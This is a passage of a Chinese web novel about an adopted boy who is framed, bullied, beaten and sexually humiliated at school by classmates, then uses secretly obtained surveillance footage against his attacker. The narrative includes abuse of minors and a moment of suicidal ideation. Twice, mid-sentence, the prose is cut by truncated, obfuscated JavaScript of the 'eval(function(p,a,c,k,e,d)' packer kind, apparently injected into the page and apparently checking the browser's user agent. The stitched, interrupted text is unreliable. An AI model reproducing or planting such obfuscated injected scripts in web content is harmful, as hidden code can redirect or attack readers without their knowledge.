班长马上站起来说,“这样吧,大家各自找找抽屉和柜子,看下有没放错位置。” 就在大家默默低头寻找时,坐在方雨晴前面的新同学唐晔,从书包里找到一个不属于自己的平板电脑。他连忙马上交还给那女生。 大家的脸纷纷转向了唐晔,开始用异样的目光打量着他,这个平时沉默少言、头脑成绩又很好的男生。 唐晔感受到那些目光中的怀疑和指责,心中涌起一股莫名的惶恐和不安,“我没拿她的!”他不由得为自己辩解。 “那我的东西为什么会在你这儿?”女生得理不饶人。 面对这个问题,唐晔选择了沉默。他明明记得自己没有拿过女生的平板,但事实却摆在眼前,让他无从辩驳。他试图回忆起那天的一切细节,但面对眼前一双双质疑的眼睛,他脑海中却是一片混乱,无法拼凑出完整的记忆。 第一次面对这情况的孩子的心中充满了委屈和慌乱,他不知道自己为什么突然成为了众矢之的。 这时,杨阳和他的几个跟班回到教室,看到这情形,他大喝一声:“怎么回事!”有人便简单告诉他刚才发生的事。 杨阳走入人群,一把搂住唐晔的肩膀,对着女生说:“现在他不是还给你了吗?给点面子,放过我兄弟!” 女生的脸色依旧涨红,她紧紧握住失而复得的平板电脑,眼神中透露着不甘。她看着杨阳,又看了看唐晔,想说些什么,但最终还是选择了沉默,只是用眼神狠狠地瞪了唐晔一眼。 杨阳见状,得意地笑了下,他扫视了一圈周围的同学们,然后大声说道:“这样吧,唐晔,看得出来,方雨晴还很生气,我想想,不如你到操场上跑十个圈,给她消消气?” 唐晔不禁问他:“为什么?” “不是为了让你洗清嫌疑吗?你不肯,我们以后哪敢跟你做朋友啊?!……行了行了,唐晔跑了,就说好不能把唐晔的事告诉老师啊!都回到自己的座位上去,没什么好看的。”说完,他搂着唐晔的肩膀,不由分说地推搡着把他带到楼下的操场。 唐晔孤独地在操场上奔跑,汗水湿透了他的衣衫。他不知道自己为什么会陷入这样的境地,也不知道该如何去面对那些质疑和指责的目光。他想起自己最近和杨阳走得很近,是不是因为这个原因,有人对他产生了误会? 杨阳和跟班们在树荫下看着唐晔在操场上一圈圈绕着,不禁冷笑起来:“傻子!”“这货单纯到弱智啊!”有人附和。“他弱智考试能全A?!你们几个蠢货!想想明天再怎么整他吧!” 杨阳手机里的照片,是昨天下午放学时,一条街以外,唐晔上了唐天家的车的场景。“二五仔!”杨阳狠狠啐了一口。 当天唐晔很晚才来到约定的上车地方。唐天等得有点不耐烦,但又碍于不想让别人知晓他们的关系,一直玩着手机忍着没有回学校找弟弟。 唐晔回到车上时,衣服已经全湿透。唐天抱怨了他几句,他也没力气搭理。那天晚上,破天荒的,他早早入睡。 半夜里他突然被惊醒。原本只是感到胸部有些沉闷,但随着时间的推移,这种感觉逐渐加剧,他开始觉得呼吸困难,仿佛置身于一个密不透风的罐子里。 他的哮喘病突然急性发作,刚才他就摸出药瓶为自己施过一次药,但只是只是稍微缓解了一小会儿、呼吸困难又再次加剧;他知道如果不及时叫人救命,他就要死了。 他摸不到自己的手机,有可能是刚才在挣扎时不小心扫到地板上了。养父母的家又不像爷爷家那边安有电铃,他只好挣扎着从床上爬起向房间门口挪去,一只手颤抖着攀着墙壁支撑自己往外走。他的每一次呼吸都伴随着剧烈的喘息。 终于,他摸到了门把手,用尽全身力气打开了门。清冷的空气涌入肺脏,带给他一丝短暂的舒缓。他扶着墙壁,小心翼翼地朝着走廊尽头唐山海夫妇的房间走去。他的心跳声在耳边回荡,一步、两步。 就在他即将支撑不住的时候,走廊里突然出现了一个人影。 他向那个人伸出了手,却慢慢地倒了下去。 唐天半夜突然想到个灵感,刚才偷偷地跑到钢琴房去找音乐资料,但一出琴房的门就看到一个黑糊糊的瘦小人影在墙边蠕动,他自己差点被吓了一跳,好容易咬着唇才让自己没尖叫起来。 人影出声叫他:“哥……”又沿着墙倒了下去。 “喂,你干嘛了?”唐天很想不理会,毕竟要是给妈妈问起自己为什么半夜会出现在走廊里,怎么解释呢,他们房里本来就有洗手间,也有水喝,总不能说自己梦游了吧? 但看到这个便宜弟弟呼吸沉重,他又于心不忍。他这是快死了吗?想到这样他还是高声呼救起来。 很快,爸爸妈妈从房里跑出来,刘姨她们也都蹬蹬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到家后,唐天徘徊在弟弟的房门口,想看看他、又不知为了什么。 陈姨开门出来见到他,“二少爷回来了?”她随口问道,又脚步匆匆地想下去厨房。 唐天顿了顿,“他呢?” “三少爷刚睡醒,吃了药。”陈姨回答道。 听到唐天的声音,刚才还靠在床头的唐晔朝他笑笑,挣扎着从床上爬起来,随便穿件外套就坐到书桌前,开始给他补习功课。 唐天看着他单薄的身影,犹豫了一下,说,“你也可以靠在床上,反正你开口讲就行。” “态度不认真,还不如不做呢,没事。” 简单但有效的数字游戏结束后,两人相视而笑。唐天的胸口泛起一股暖流,但,唐晔却突然感到胸口翻涌的疼痛漫延到肩背。他连忙用纸巾捂着嘴冲到洗手间,关上门又是一阵猛烈的咳嗽。 唐天听到这咳嗽声,心中一紧。他走到洗手间门口,犹豫着要不要进去。但最终他还是旋开了门,看到弟弟痛苦地弯着腰趴在洗手台上,咳得仿佛肺都要炸了。 唐天的心中被一种莫名的恐惧填满,他慢慢地挨过去,一边学着陈姨的样子给他顺背,一边问,“你会死吗?” 唐晔抬起头,眼圈都发红了,但也看见,镜子里,唐天眼中居然染上担忧和恐慌。他喘着气:“让你失望了,我只是、这段时间比较容易、再次发病、而已,死不了。”眼中却闪过一丝难以察觉的无奈。 唐天看着他,心中不禁涌起一股莫明的情感:“你最好别死。” “为什么?” “……你死了,我们家就变凶宅了。我怕鬼。”自己在胡说什么。 “放心,要死,我也会死在、远离你的、地方。”他还在喘着气。 “……你别那么快死,要不没人给我补习。” “不会那么快,至少等你上、上了重点中学,行没?” “那我考高中、考大学呢?” “呵呵呵,那我就等到、你考上大学。”他用力锤着胸脯保证。 过了一周,身体恢复得差不多,唐晔又回到学校。当他进入教室后,却发现同学们看他的眼神十分奇怪。他前后和右边的人根本不敢和他对视,只有左边的男生半捂着嘴、大着胆子小声问他:“你,你怎么又回来了?” “我怎么不能回来?” “你前几天去哪了?” “我感冒了,请了几天假而已。”唐晔想起哥哥以前是怎么在饭桌上避开自己,不敢把真实情况告诉同学。因为对于普通孩子来说,哮喘病这种陌生字眼难以理解。 男孩捂着口鼻又离他远一点,“大家都传你得绝症死了。” 唐晔笑了:“那你看到我,现在像是死了吗?你看,鬼没有影子,我有影子。” 那男生也笑了,放下手正想和他说什么,又突然住了嘴,转回自己桌面继续看书。 从他身后突然伸过来一只有力的手臂圈住他脖子,唐晔勉强转过头一看,正是几天前自己被诬陷拿了同学的平板电脑后、在全班同学面前“解救”过他的杨阳一伙人。 “你怎样了?没事吧?”杨阳装做很关心他。 “没事,好多了!” “前几天都说了他没得绝症咯!大家以后谁敢躲着唐晔,就是不给阳哥面子,大家懂的了?”一个跟班叫道。 就这一嗓子,大家把头埋得更低,连看向他们的方向都不敢。 在无人搭理的沉默中度过一整天时间,放学后,唐晔正在收拾书包准备回去,杨阳的两个跟班突然走过来:“喂,阳哥叫你过去。”便不由分说地一个拖着他手臂,一个扯着他书包就往外面带。 杨阳看见他来了,装作很高兴地说:“哎,你俩怎么这么没礼貌呢,把人家唐老师扯坏了可不好!毕竟我们还等着唐老师帮我们做作业呢!” 他们把五个人所有的作业都摊到唐晔面前:“做完它。” 唐晔扫了一眼桌面,平静地说,“还是像以前那样,你们做,我来教。” 杨阳听了,很不乐意地一掌重重地拍在他肩膀上:“你说什么?是帮我们做,不是教我们做。” 唐晔挑了挑眉毛:“这和以前不一样啊。” “不肯?”杨阳拧笑着问。后面一位强壮的跟班已经在活动拳头了。 “怎么会不肯呢,阳哥。”唐晔马上变了模样,笑得满面春风,坐下来,拿起笔,就开始快速写了起来。 看他没一会儿就写完一本、两本,连那些很难的n次方速算也不用思考似的下笔流畅,“有点儿东西嘛,小子。” “我都答应你们的要求,给你们做作业了,那作为交换,你告诉我原因?” “什么原因?” “装傻就没必要了。为什么要诬陷我偷东西,为什么让大家孤立我?”唐晔一边写着,一边浅笑问道。 “脑子里有点儿东西嘛,我还想问你,为什么要当二五仔?” “二五仔?我背叛谁了?” “你居然和唐天是一伙的。” “怎么会?” “还否认,我见到你上他家的车了!” “你会不会看错了。”他淡淡地说。 “你当我傻吗?”杨阳翻出手机里那张别人发给他的照片,那是一个发型很像唐晔的高瘦男生的背影,“你姓唐,他也姓唐,你和他是什么关系?” “我们俩长得像吗?” “倒是很不像。” “你和他同学这么多年,听说过他家还有别的小孩吗?” “也真是没有。”几个跟班也摇摇头 杨阳突然抓住他的头发:“别耍花招,你和他究竟什么关系?” “除了同姓,没有关系。”唐晔平静地说,“但你再不放手,我就来不及做了。”他轻轻推开杨阳抓着他头发的手。 这个嘛,倒是不假,反正认识唐晔以来,没在唐天手下吃过亏。“识相一点!” “好的,阳哥!”唐晔谈笑自如间,又写完了一本作业。 “还有,你死了可不是我说的,唐天说的。我那天问他你去哪了,唐天说,‘他死了,别烦我’!” “……” “你和他究竟啥关系,说说嘛,我们保守秘密就是了。” “奉劝你别问,问我也只能回答,没有关系。” “你是他表弟?不对,同姓,是堂弟吧?” “我不配与他相提并论。他说的。”他笑嘻嘻说完这句,再不开口。 唐天坐在车里等了许久,唐晔也没过来,他的病才刚好,该不会在学校里又病发晕倒了吧?他担心起来,决定自己回去寻找。但当他在校门口的KFC的巨大玻璃窗外看见弟弟与杨阳那一伙人相谈甚欢时,他的指甲都被捏得深深陷入手指缝里。 唐晔已经尽自己所能的最快速度写完5个人的作业。再赶到一条街外。唐天果然已经不在那里了。他只好挥手打了个车。 他打车回到珠江新城,坐电梯上楼,一出电梯门刚蹲下来想换鞋,猛地被推了个趔趄,跪在地板上。随后,后颈被人死死按住,让他抬不了头直不起身子。 唐天的声音在后面冷冷响起:“你还跟杨阳他们在一起!” “我只是帮他们做作业而已。” “为什么不拒绝?” “拒绝?他们五个人一起揍我怎么办?” “你揍回他们啊!” “我一打五吗?”唐晔笑了,“哥哥,你该不会忘了,上星期你还不是一样被他们追得满校园跑?” “那是——!” “我也怕被打,而且他们要求的又简单,就是做作业而已。” “你真是,毫无骨气!”唐天气得死命把他的头往地上一按——要不是他自己右手护一下,额头就直接磕到地板上了。 归秀兰刚好回到,看到这一幕,她先是冲上前抓住儿子的手臂看了看有没事,见唐天一切安好,才冷冷地问,“怎么回事?” “没事。欺负一条贱狗而已,需要理由么?” “别让你爸看到,到时候说你。”两母子说着就一起进了屋。 唐晔直起上半身跪坐在自己脚后跟上,自嘲地笑笑。 14. 第 14 章 周旋在杨阳小团体中,唐晔始终信守承诺,绝口不提唐天的事情,也从不打探他们几个人的事。同样,杨阳他们也默契十足,对于唐晔帮他们完成作业后,偶尔见他爬上唐天家的车,他们也都选择视而不见。然而,更多的时候,唐晔还是只能走出校门,然后自己打车回家。 四月份已经过了大半,南方很快就迎来炎热的夏季。 这天放了学一段时间,给个同学讲解完整张卷子的错误后,唐晔才背上书包慢悠悠地下楼。在楼道里,却遇上了他最不爱管的闲事。 几个没见过面的同学把一个女同学围在中间:“方雨晴,好几个月不见,你可出落得越发标致起来了。” 唐晔正打算擦身而过,方雨晴却叫住他:“唐晔,救命!” 自从上个月他被认为偷拿了方雨晴的平板后,两个人虽然只是前后座,但已经几乎一个月没交谈过了。 他经过他们身边、走出了两步,却又突然想起脑海里整天出现的那个灯光昏暗的酒吧、被调笑的白种年轻女人。叹口气,他还是回头说了句:“我不想打扰各位的雅兴,不过,校长要过来了。” “哇,救命,快跑呀!”为首那个人嘴巴里叫的响亮,但丝毫没有要动的意思。 “看这个样子,恐怕你们不信吧?”唐晔挠挠耳侧的头发,说。 “哈哈哈,小子恐怕你不知道吧,校董事长就是我爹。” “原来是学校的陈大少爷。你大人有大量,何必一般见识,与这个女生过不去呢?”之前听杨阳他们几个人说过这个团伙。 “我就是想约这个女同学陪我一起出去吃顿饭而已。话说小子你谁呀?” “新来乍到的无名氏,不劳您记挂。” “在这个学校里,敢打扰我好事的人可不多,认识一下嘛!” “我是真不想扰你的雅兴,只是这位同学好像不太乐意而已,你又何必呢,这么帅,又不是泡不到妞!你要是信得过我,今天先放了她,我帮你用概率论分析一下怎么才能最有效地泡到她?” “小爷我想干嘛就干嘛,轮得到你多管闲事?” “喂,唐晔,还不快走,杨哥等了你半天了!”杨阳的两个跟班在楼梯下面叫道,但他俩一看清楚唐晔面前的是谁,就步步后退。“常哥,打扰了,打扰了。”两人一溜烟地跑没影了。 唐晔心里暗暗骂道,“平时那么斗志昂扬,怎么现在一看到这人就像老鼠见着猫似的,真没用。” 常哥的手下便问到,“老大,咋办?” “要不你给他敬个茶?废话,动手啊!”他们四人围上来,趁唐晔手笨脚慢,有人一把扯过唐晔的书包往地上一扔,几个人就上前抓住他的手臂,把他按在墙边。 “常哥,你打我也对泡妞这事毫无用处,考虑一下把我放了?” “你长嘴是用来放屁的吗!”那陈哥揉着拳头正想给他的肚子来上一拳。 “陈常,好久不见!”这时楼梯上有人叫到。 大家抬头一看,缓步下来的人是唐天。他笑着对这个老大说,“最近去哪儿了?放完假这么久不见人。” 陈常马上上前搭着他的肩膀,“还能去哪儿?被我妈抓去到外国去参观学校了,顺便在M国玩上一圈呗。” “草,你自己家开了这么大一个学校,你还出去念书?”唐天也搭上他的肩膀。 “就和这些混混在一起有前途吗?”两个人相视而笑。 “出去喝杯东西?”唐天发出邀请。 “哎呀,你没看到我正忙着吗?”陈常摆了摆手。 “一回来你就要见血,当你爸妈可真不省心啊!我下个月也准备去考试了,兄弟难见上一面,你就陪我吧!” “那这俩人怎么办呢?” “放了吧,跑得了和尚跑不了庙。还怕他们之后不来学校吗?走,今晚我请!” “嗯,言之有理。我们走吧。” 唐晔自己打车到珠江新城,回到家,晚上下楼时,唐天刚好要上楼。 擦肩而过时,唐天问:“你怎么就惹上姓陈的呢?” 唐晔侧头想想:“我没惹他,是他硬要欺负我们班那个女生。” “你傻吗?人家欺负女生关你啥事儿?” 唐晔天真得近乎傻笑了一下:“那人家欺负我关你啥事儿?” 唐天恨恨地说:“我就不应该理你。” 他往上走了两步,回过头来说,“你还是小心一点,他这个人不会善罢甘休。我们这几伙人也就装一下大佬耍耍酷,他可是真的会动手,学校多少个人被他整得转学退学了,反正学校都他家开的,想要哪个监控闭嘴都行。” “你在关心我吗?那可就谢谢了,我会记在心里。” 唐天犹豫了一下:“他妈和我妈很熟,要是让他发现你的身份,发现我妈对你的想法,我怕他会把你整得很惨,用来取悦我妈。” “有那么严重?总不会把我杀了吧?”唐晔一脸单纯。 “……那你明天还去学校吗?” “去,干嘛不去啊?我还得拿小学毕业证了呢。” “好自为之。还是那句话,别跟我扯上关系。” “放心。” 唐晔一开始觉得,陈常整人的手段也就如此,破坏他的书包财物等也没什么,毕竟自己也有钱,再去买来便是。直到他的课本不是被撕了就是被画花了;一打开水杯,里面居然有坨便便;把他的照片贴在黑板上画上挽联;还把他桌子椅子都给扔到楼道里……他去找过李老师,李老师叹了口气,劝说,能躲就躲着吧。 能躲,就躲着吧。小时候,方伯伯也是这么说。 走廊上,与陈常擦肩而过时,陈常突然说:“唐晔,唐万里次孙、唐山海次子。虽说是次子、次孙,但我听说你可是深得‘地主’的喜爱,还听说了原因呢!”他凑近唐晔耳边:“因为,你是唐万里的私生子吧?” “你胡说!”唐晔转过头对他尖叫道。 “那你为什么会在唐家?难不成是唐万里出于好心收养你?” “上升到家族,你就掂量掂量你们家几斤几两了!”唐晔冷笑道。 “行,小朋友,我们自己玩!” 过两天,“唐晔”这个名字在众人的口中,就像一块刚从火中取出的山芋,烫得让人忍不住翻来覆去地议论,连带着唐天的名字也被反复提及。 “原来他是唐氏集团的养子,说是说他是唐天的弟弟,实际上啊,就是个私生子。”“啊?真的吗?那唐天的爸爸……会做这种事?”“而且居然敢把私生子带回家?和唐天住一起?”“唐天肯定讨厌死他了吧?”“那么久你见唐天理会过他吗?”“就一个野种,他妈勾引人家爸爸。”“那也得唐天的爸爸上钩啊!男人嘛!”那女生故作高深地说着。 “不关我爸的事!给我闭嘴!”唐天刚好进到教室,闻言他紧紧抓住说话的女生的手腕,强迫她转过来面对自己:“要不是我不打女人,我不会放过你!我爸清清白白,别乱说!你看那野种和我爸像吗?和我像吗?我爸妈恩爱得很!别往我爸身上泼脏水!” “他要是只是收养的孤儿,那你干嘛要叫人家野种。”被扯住手腕的女生也不甘地还击。 “不关我爸的事!” “那就是你爷爷的种呗!哇哈哈,原来你还得叫人家二叔呢!”大家哄堂大笑起来。 “他就是贱狗!他根本没有父母!我不知他是从哪个垃圾场捡来的!说了,不要再在我面前提他!”唐天怒火中烧。 唐晔默默地缩在天台上,虽然早有心理准备,但杀人诛心,今天的事,对他的打击的确有点大。从小,唐天带着一群孩子朝他叫嚣的那个不好的词,到今天终于有了深刻的体会。 唐万里是我的爷爷,不是我父亲!为什么我们要被恶意揣测。当我被母亲遗弃时,那个老人曾对我微笑,带我回家。 别人告诉我,他是我祖父。 这位老爷爷是我见到的第一个好人。他说的,我就信了。 但为什么别人一边相信他,一边对我喊着”野种“? 没有父母、没有来历,也能成为自己的原罪。 我只是不记得自己在哪出生、怎么长大、怎么来到爷爷家,为什么要因此排斥我?我能选择自己的出身吗?是我选择让自己没有父母吗? 我做错了什么! 放学时,学校里的人越来越少,他下了楼,经过唐天的班级时,看见自己的哥哥坐在窗台边,还在忙着与自己撇清关系。 他心中没有波澜,也没有怨恨,他淡淡地看了唐天一眼,然后收回了目光,自己下楼,打车回家。 哥哥又怎么会帮自己呢? 唐天出了校门坐上来接他的车。司机惯常地停在一条街以外等三少爷,但今天刚停下车,有人就敲了敲车窗玻璃。唐天以为是唐晔,开了门恶狠狠地骂道:“怎么这么久!” 但仔细一看,却是杨阳他们在叫嚣着:“天哥,等你‘叔叔’呢?” “滚!再提到那死人我杀了你!” 同样是半大的孩子,唐天弄不懂自己为什么也被牵扯进去,他只知道,要不是这个野种,他今天怎么会也变成被人嘲讽的对象! 而下一天,更劲爆的消息在等着孩子们!一个从唐天手下“背叛”过来的同学,在寒假时某次多人视频聊天中,偷偷录下了唐天在家中与唐晔的一场争执。画面里,唐天愤怒之下,竟亲手拉扯着脱掉唐晔的衣物。 据看到视频的同学造谣说,“两人单独在房间里,唐晔哭着求饶,而背向镜头的唐天,面带着吟荡的笑容,一步步走向他,用自己邪恶的爪子撕扯着他的衣服,直到把他身上的衣物扯得粉碎,把他吃干抹净”。 那场面,被形容得像一场暴风雨般的绯色和激烈。 这消息如野火燎原,迅速在同学们之间蔓延开来,一时间,校园内议论纷纷,每个人的脸上都写满了震惊与好奇。有人说,唐天与唐晔之间,竟有着如此不堪的秘密;对唐晔一个“私生子”为了能留在唐家、不择手段勾引唐天而鄙夷不屑——“有其母必有其子”。“那私生子长得那么漂亮,比你这帮女人好看多了!”“唐天也真是饥不择食啊!男的也上。” 各种不堪于耳的言论与代号乱飞,与其说昨天是少年对大人的阴险“审判”,今天就是少年群体在对两名无辜的少年进行恶意的“凌迟”。 终于,在那天午后,唐天终于“破了戒”——有人看见唐天在学校的一处偏僻角落,与一位传播这则消息的同学大打出手。那场面惊动了整个校园,大家纷纷跑去围观,议论声此起彼伏。 唐天的拳头如同雨点般落下,他的眼中充满了愤怒与不甘。那野种的事,为什么一而再,再而三地拖我下水!我不要再和那野种扯上任何一点联系! 唐天在下楼梯时,正好看见唐晔上楼梯。 唐晔见四下无人,才敢懦懦地小声叫了声:“哥哥……”他正想说对不起—— 唐天根本不想理他,但这时有人往上面走下来,唐天一把推开了他:“滚开!脏死了!” 唐晔自己走到天台上。 像我这样的人,一个朋友也没有。 也没有爸爸妈妈。 看起来,好像爷爷也不太在意我…… 还有很多人不喜欢我。 没什么。热闹都是别人的。 就在他心中涌起一股冲动,想要尝试向楼下那块阴影张开双臂时—— 方雨晴悄悄来到天台上,缩在一侧:“唐晔,对不起,因为我,让你被他们这样对付……” “做错事的不是你,你也是受害者,不关你的事。”唐晔慢慢地收回自己的手。 “……而我却不敢帮你,对不起,我也很害怕变成你这样……” “……快走吧!” 他看着方雨晴仓皇离开的背影。 远处,夕阳渐渐西下,金色的光辉洒在城市的建筑上,让一切都显得神秘而辉煌。 瘦削的身影在夕阳的映衬下,显得有点孤寂。 晚上,白勇敲开唐晔的房门,问了他之前给自己讲过的一些计算机算法——毕竟是年轻大学生,他还在考虑报考研究生时要不要转成这个新兴专业呢。 恰巧唐天刚回到,见他俩相谈甚欢,便嘲讽道:“勇哥,你还敢跟他讲话呢,也不怕脏。” 唐晔一见唐天,马上小声说:“勇哥,我稍后把相关资料发给你吧。”就想关上房门。 白勇这几个月来猜测过他们的家庭关系,就算这个小晔弟弟真的是非婚生子女吧,但也有人权啊,这两母子对人也太那个了,便忍不住说,“等下!小天,有时候别太过份,再怎么说,孩子也是无辜……” “别忘了是谁给你钱!”唐天狠狠地说道,又向唐晔狞笑道:“你来呀,既然勇哥这么喜欢你,你过来呀!” “哥哥,我不舒服……”话没说完就被唐天扯着衣领拖出房门。 白勇连忙让唐天松手。 唐天没理睬白勇,只是冷冷地对这个小孩说道:“你有什么资格违抗我!走!” 三个人前后进了唐天的大房间。突然,一阵急促的脚步声打破了这气氛。归秀兰怒气冲冲地闯了进来,她尖锐的声音里充满了狠厉:“你在呢,正好。” 大家被这突如其来的情况弄得一愣,白勇心里咯噔一下,以为打游戏的小秘密被发现了,连忙解释道:“唐太太,您误会了,这是我教学计划中的一环,我们正在通过游戏的方式激发孩子们的学习兴趣……” 归秀兰大喝道:“没你的事!”说着,她粗暴地一把扯起被远远赶到房间角落的“小儿子”的手臂就往外带。 唐晔被妈妈突如其来的举动弄得有些懵,他下意识地看向唐天,唐天却转头没有看他。 走廊上,怒气冲冲的归秀兰一把抓起唐晔胸前的衣服,右手一巴掌重重打在他的脸上。 唐晔的脸被打得歪向一边,他揉了揉,又温和地问:“妈妈,您怎么了?” “我怎么了?”归秀兰打开手机,翻出一张照片举到他鼻尖前:“这是怎么回事?!” 唐晔后退到脑袋都贴到墙上才看清,正是唐天把自己按在墙边脱衣服那张。他尝试着解释说:“哦,那次我的衣服都脏了,吴姨拿了哥哥的衣服给我穿,但哥哥让我把衣服还给他,所以……就是这样。” “‘就是这样?’” “是的,不信您问哥哥。” “那你们的姿势为什么这么……暧昧!” “我一时脱不下来,哥哥急着留下它,所以他亲自动手。妈妈该不会也以为,哥哥和我是那种关系吧?” “我儿子才不是!就算有,也是你这贱种勾引他!”唐晔的举止一直稍稍缺乏阳刚气,可能与他从小连人都没见过几个、除了公公,就是方源。说得好听就是教养,说得难听些,谁知道是不是变态呢? “您想多了,妈妈。哥哥厌恶我都来不及呢!” “你最好别对我儿子起什么歪心思!” “我不会!”唐晔难得正色回答。 “这个事情,你自己赶紧摆平!搞不定,你自己就去死吧!” “好的,妈妈。”那孩子主打一个低眉顺眼。 归秀兰趾高气扬地走远。 “勾引?好主意!”唐晔嘴边泛起一丝甜笑。 又是一天。当陈常带着他那帮所谓的“手下”,惯常地一层一层楼寻找乐子时,却突然发现,前几天还敢对他冷脸相向的唐晔被好几个人追着骂着,而急急忙忙冲进走廊末端的厕所里。陈常嘻嘻哈哈挥手赶走刚才追在后面的几人,随即他们自己鱼贯而入。 唐晔在厕所隔间里躲了一会儿,见外面声音渐小,开了门刚想看看,突然间,一桶水从上面淋下来——四月底,他身上的薄棉布校服衬衣瞬间变得半透明。耳边传来一帮人的哄笑声。他抹了一把脸上的水,却不防有人抓着他的手臂,把他狠狠拖了出来,摔在对面的墙上。 “嘿嘿嘿,姓唐的,看看我们是谁?!”几个马仔围着把他按住,轮番打了他几个耳光:“敢得罪我们常哥的,都没活过几天呢!”唐晔像被打懵了似的,还是最近受了太多刺激,眼泪止不住似的往下流。“你跪下来给我们常哥道个歉,说不定他会原谅了你呢?”唐晔还是呆呆的没有反应。 有个“马仔”学着电视里那样,重重地往他膝盖上踹了一脚。唐晔疼得“啊”地叫了出声,跪倒在倚在墙边的陈常面前。被反剪着双臂,又被陈常用脚尖勾起下巴,唐晔难受得眼泪不停往下流。陈常嗤笑他:“喂,据说唐万里还有意把万里地产传给你呢,不会吧,这么弱鸡?” 唐晔嘴唇发着抖,轻声哀求:“常哥,放过我行吗?” “什么,说大声点,我听不到!” “求你放过我,我不敢了!”唐晔哭着说,被按住也不再挣扎。几个马仔见他这么识趣,便也放松了手脚,互相笑着说,“早说就不用受罪啦!”“还敢不敢多管闲事?”大家一左一右、一下一下地推搡他。 少年发出一声凄厉的尖叫! 听到这声音,陈常就更兴奋了,骨节分明的手一下把他的脖子死死卡住,而唐晔在极度恐惧和精神紧张下,爆发出来的力量竟把练过武术的陈常生生推开! 这让陈常更加欲罢不能。他又向唐晔扑了过去,但此时,手下的人的粗哑的嗓音想把他的理智唤回来:“老大,这……是犯法的吧?” “老子TM就是法!” “这个……那儿有个监控摄像头。” “学校都是我家的,摄像头?我想它能拍就能拍,我想他拍不到就拍不到。 他喘着粗气,指挥手下:“按住他的手脚。” “老大,你想干嘛?” “拍下他的丑态。再怎么说,他也是唐家的人,以后大有所为。”陈常尽量让自己的声音冷静些。 “老大,别了吧?”常年跟着他的二号人物说道。 陈常双眼红得像随时准备吐出火舌的机关枪,让二号哑了火。 那伙人嚣笑着渐次走远。 唐晔摆动着手脚,左手腕被最胖的那只叫“肥猪”的按得最紧,虽然一开始自己是在假装挣扎,但后面已经全忘了,左手一用力就疼,然后就使不上劲儿了。其它一些小挫伤就算了,背上也火辣辣地疼,可能是被尖利的瓷砖边缘划破了道口子了吧? 根据收集到相关资料,以及大数据模型的分析,他相信这样做,能让这个倚靠父母的外强中干的男生上钩。只是,没想到,实施起来时,自己那么痛苦。 ——刚才,他脑海里又出现了那个黑乎乎的不会动的男人,他害怕得哭泣、干呕、手脚不受控制地发狂。他甚至想杀了面前这比他大不了几岁的男生。但,这里是法制社会,不是那里。 那里?是哪?他头脑里,总会浮现些无法串联的片断。 他扯了扯身上的衣服,白色的衬衣或许已经不能称之为衣服,而是一团抹布了,还好下身的校服西装裤的质量挺好,除了掉了个扣子,等一下用别针别上,支撑到回到家就行了。哎,等下还有件重要的事才能回家呢,不知哥哥今天会不会等我?大概率不会吧?毕竟他都对自己憎恨成那样了。那就麻烦一点了,的士只能停在小区外面,裤子上这个别针应该能撑到回到家吧。 他一边胡思乱想着,一边站了起来,跛着腿走了两步,打算拿回早已藏好在这个洗手间里的另一件校服衬衣。 自习课上,唐天听同班同学在他附近嘀嘀咕咕地说起唐晔的名字,心中莫名火起。他一把抓起说话那同学的衣领,威胁地低吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见唐晔双眼死死地剜着他,那双墨蓝而深邃的眼眸中,流淌着无尽的失望与哀伤:原来,那个一直被爷爷、爸爸妈妈视为家族希望的哥哥,那个自己梦想着有一天能对自己态度好一点的哥哥,他对自己的憎恶是这般深刻。 唐天此刻却仿佛失去了所有的力量,他愣在原地,眼中满是迷茫。他突然意识到刚才自己做了什么,慌忙从弟弟身上爬下来,跪坐到旁边,手忙脚乱地扶起弟弟,又捡起他的校服摊开紧紧包裹着他,仿佛可以用这种方式弥补刚才的错误。 唐晔轻轻地推开他,眼眶里一度充盈着泪水,却抬起下巴倔强地不肯滑落,他的声音柔柔的,却像再也没了情感:“放过我吧,唐天。我不再幻想能和你做朋友了。” 这句话如同腊月的雪,刮进唐天的心脏。 他想起以前,自己刚过了七岁的那个春节,第二次在爷爷家见到这个漂亮的弟弟。 自己俯视着矮了一个头的他。 他抬起小脸,专注地看着自己,眼睛突然弯了起来、变成一个好看的弧度,嘴角扬出一个甜甜的微笑,对自己伸出手。 这个萌萌的小不点儿,他想和我做好朋友吗? 唐晔不再磨蹭,忍着手腕和背上尖锐的疼痛穿好衬衣,转身离去。 名义上,唐天仍是自己兄长,这是无法改变的事实。 但他自己,现在有更重要的事要做。 陈常几人坐在三楼阳台的栏杆上,见唐晔一拐一拐朝他们走来,他们几个吹着口哨:“喂,你看起来不太高兴啊?唐三少,开个玩笑而已嘛!” 在这一群人的讥讽和侮辱中,忍着全身各种疼痛,唐晔一步步走到陈常面前,慢慢掏出手机,慢慢解锁,再慢慢调出一个视频,挤出一个微笑对他们说,“常哥,你要不要也看看这个,可能比你的拍得好哟!” 视频里同样传出唐晔的求救声与他们几个人的调笑声,以及陈常走上前去直接对他动手的行为。但是,拍摄角度却与他们手机里的视频完全不一样,它像是监控摄像头的角度,把他们几个人的脸拍得一清二楚。 “这,这个监控不是坏了吗?!”几个“马仔”有点儿慌张,毕竟这个视频构成罪证了吧! 他们想把它删掉,但发现无论如何也没有办法删掉它,最后一气之下,把他的手机狠狠的摔在地上。 唐晔看着他们白费劲儿瞎努力,不由哈哈大笑:“你们该不会不知道网盘吧?” 至于他们手里那些照片和视频,他从未担心过。以自己的技术,只要能联上网的电子产品,几乎没有自己找不到、删不掉的东西。 陈常最先冷静下来:“我们也是未成年人,最多也就抓我们去教育一下。不用担心,我爸妈一定会保我出来,说不定关也不用关!……喂,你给我们看这东西,不会是多几个角度让我们欣赏你吧?” 